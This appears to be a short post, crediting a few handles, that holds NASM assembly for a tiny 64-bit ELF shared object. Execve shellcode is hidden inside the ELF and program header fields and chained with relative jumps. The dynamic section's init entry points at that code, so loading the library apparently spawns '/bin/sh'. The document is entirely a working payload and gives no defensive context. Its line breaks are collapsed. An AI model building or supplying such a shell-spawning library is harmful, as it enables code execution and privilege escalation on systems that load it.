64-bit shared object using shellcode with relative jumps```; @dialluvioso_ and @XnbEm /cc @ulexec[BITS 64]
; 64-bit ELF headerehdr:    db 0x7F, "ELF", 2, 1, 1, 0             ; e_ident    times 8 db 0                           ; reserved (zeroes)    dw 3                    ;e_type    dw 0x3e                 ;e_machine    dd 1                    ;e_version    dq _start               ;e_entry    dq phdr - $$            ;e_phoff_start:    dq 0x732F6E69622FBF48   ;e_shoff    dd 0xEB570068           ;e_flags    dw 0x001D               ;e_ehsize    dw phdrsize             ;e_phentsize    dw 2                    ;e_phnumehdrsize equ $ - ehdr
; 64-bit ELF program headerphdr:    dd 1                    ;p_type    dd 7                    ;p_flags    dq 0                    ;p_offset    dq $$                   ;p_vaddr    dq 0x1CEB57006AE78948   ;p_paddr    dq filesize             ;p_filesz    dq filesize             ;p_memsz    dq 0x200000             ;p_align
;program header sizephdrsize equ $ - phdr    dd 2                    ;p_type    dd 0x40EB5E54           ;p_flags    dq dyntab - $$          ;p_offset    dq dyntab               ;p_vaddr
dyntab:    dq  5,  _start    dq  6,  _start    dq  12, _start
    push 59    pop rax    cdq    syscall
filesize equ $ - $$```